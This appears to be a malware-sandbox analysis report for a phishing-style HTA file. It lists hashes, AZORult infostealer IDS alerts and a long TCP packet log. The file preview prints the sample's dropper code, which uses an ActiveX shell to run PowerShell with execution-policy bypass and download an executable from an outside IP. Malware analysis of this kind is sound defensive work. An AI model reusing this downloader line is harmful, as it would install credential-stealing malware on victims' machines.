Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	HTML document, ASCII text, with CRLF line terminators
Entropy (8bit):	5.4940039901976405
TrID:	HyperText Markup Language (12001/1) 66.65% HyperText Markup Language (6006/1) 33.35%
File name:	Order160311_Reference.hta
File size:	374 bytes
MD5:	9d076419b3d536b792996ba4d9f456ca
SHA1:	624f254efe413ced91efc23c32e8d8a63d1682d5
SHA256:	ed60a9b42ca6dd79eaef777df25d81c137132d5d0c2ed81567931b0ba134c756
SHA512:	528912219b67d2193b280032263abd1eae18a17a2cf527e33b65ad25088561926a837c1a8b6c0ffa803d834c7272ff6995049674b79e3e35fe3d9cbdc014f772
SSDEEP:	6:q43tkiyFJksnye+IYAGQO0cblLh8JUJgeCx1D7moQ5owmJuAouIMFAdQ5owmJuA8:T6lFJdneIYAHpchGOJwD5Q5owQouIMkG
TLSH:	83E06832353DC95C5572E47868B19BAB80B3AB9033699A56A2E4D4274906390EFD22CB
File Content Preview:	<html>..<head>..<script>..var objShell = new ActiveXObject("Wscript.Shell");..objShell.Run("powershell.exe -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile %temp%\\Order160

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-11T04:10:41.239682+0200	2029467	ET MALWARE Win32/AZORult V3.3 Client Checkin M14	1	192.168.2.4	49733	104.21.14.133	80	TCP
2024-10-11T04:10:41.239682+0200	2810276	ETPRO MALWARE AZORult CnC Beacon M1	1	192.168.2.4	49733	104.21.14.133	80	TCP
2024-10-11T04:10:41.642801+0200	2029136	ET MALWARE AZORult v3.3 Server Response M1	1	104.21.14.133	80	192.168.2.4	49733	TCP
2024-10-11T04:10:50.170991+0200	2029467	ET MALWARE Win32/AZORult V3.3 Client Checkin M14	1	192.168.2.4	49737	104.21.14.133	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 11, 2024 04:10:37.863818884 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:37.869229078 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:37.869317055 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:37.871421099 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:37.876600981 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.501256943 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.501305103 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.501338959 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.501374006 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.501405954 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.501415014 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.501415014 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.501440048 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.501475096 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.501508951 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.501518011 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.501543045 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.501554012 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.501580954 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.501627922 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.506635904 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.506745100 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.506773949 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.506825924 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.617873907 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.617914915 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.617949963 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.617985010 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.618017912 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.618020058 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.618037939 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.618053913 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.618091106 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.618134022 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.618920088 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.618956089 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.618968010 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.619002104 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.619416952 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.619429111 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.619466066 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.619501114 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.619534016 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.619546890 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.619570971 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.619576931 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.620300055 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.620335102 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.620352030 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.620369911 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.620403051 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.620423079 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.620439053 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.620706081 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.621246099 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.621280909 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.621315956 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.621331930 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.674154997 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.717472076 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.717525959 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.717597961 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.725287914 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.725337982 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.725373983 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.725405931 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.725415945 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.725441933 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.725445986 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.725481033 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.725523949 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.725616932 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.725650072 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.725683928 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.725698948 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.725718021 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.725753069 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.725785017 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.725794077 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.725821018 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.725824118 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.726269007 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.726304054 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.726317883 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.726361036 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.726393938 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.726427078 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.726435900 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.726460934 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.726468086 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.726496935 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.727349043 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.727410078 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.727416039 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.727452040 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.727456093 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.727485895 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.727519989 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.727551937 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.727586031 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.727591038 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.727603912 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.728272915 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.728307009 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.728322029 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.728342056 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.728374004 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.728408098 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.728415966 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.728441954 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.728449106 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.728477955 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.728653908 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.729165077 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.729269028 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.729301929 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.729336023 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.729346037 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.729371071 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.729378939 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.729404926 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.729439020 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.729480982 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.730086088 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.730117083 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.730134964 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.783581018 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.804250956 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.804300070 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.804337978 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.804375887 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.804387093 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.804425955 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.812437057 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.812489033 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.812659025 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.817666054 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.817702055 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.817738056 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.817754030 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.817928076 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.817971945 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.818013906 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.818025112 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.818059921 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.818068981 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.818114042 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.818146944 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.818152905 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.818185091 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.818217993 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.818252087 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.818258047 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.818286896 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.818289995 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:38.818321943 CEST	8030	49732	217.160.121.141	192.168.2.4
Oct 11, 2024 04:10:38.818361044 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:39.489540100 CEST	49732	8030	192.168.2.4	217.160.121.141
Oct 11, 2024 04:10:39.586544037 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:39.591660023 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:39.591731071 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:39.591895103 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:39.596730947 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.239445925 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.239470959 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.239485025 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.239500999 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.239516973 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.239531994 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.239547968 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.239562988 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.239578962 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.239595890 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.239681959 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.239681959 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.241178989 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.245038033 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.245062113 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.245079041 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.245106936 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.245138884 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.326910019 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.326931953 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.326948881 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.326965094 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.326976061 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.327012062 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.327033043 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.331590891 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.331656933 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.642400980 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.642426014 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.642441988 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.642457008 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.642478943 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.642494917 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.642509937 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.642525911 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.642544031 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.642559052 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.642575979 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.642590046 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.642606020 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.642622948 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.642640114 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.642638922 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.642640114 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.642640114 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.642654896 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.642673016 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.642688036 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.642704010 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.642718077 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.642733097 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.642734051 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.642734051 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.642750025 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.642757893 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.642766953 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.642785072 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.642786980 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.642801046 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.642817020 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.642817974 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.642837048 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.642848969 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.642854929 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.642874002 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.642918110 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.642956018 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.647828102 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.647845030 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.647861958 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.647877932 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.647910118 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.647953987 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.648123980 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.648150921 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.648165941 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.648181915 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.648194075 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.648200035 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.648217916 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.648252010 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.753218889 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.753242970 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.753258944 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.753273964 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.753289938 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.753396034 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.753396034 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.753627062 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.753650904 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.753668070 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.753683090 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.753688097 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.753700972 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.753710032 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.753732920 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.753761053 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.754256010 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.754272938 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.754288912 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.754304886 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.754316092 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.754322052 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.754344940 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.754375935 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.755045891 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.755070925 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.755086899 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.755099058 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.755103111 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.755120993 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.755122900 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.755137920 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.755167961 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.755197048 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.755960941 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.755985975 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.756000996 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.756017923 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.756026030 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.756026030 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.756035089 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.756052971 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.756082058 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.756817102 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.756839991 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.756856918 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.756867886 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.756874084 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.756889105 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.756891966 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.756911993 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.756941080 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.757652998 CEST	80	49733	104.21.14.133	192.168.2.4
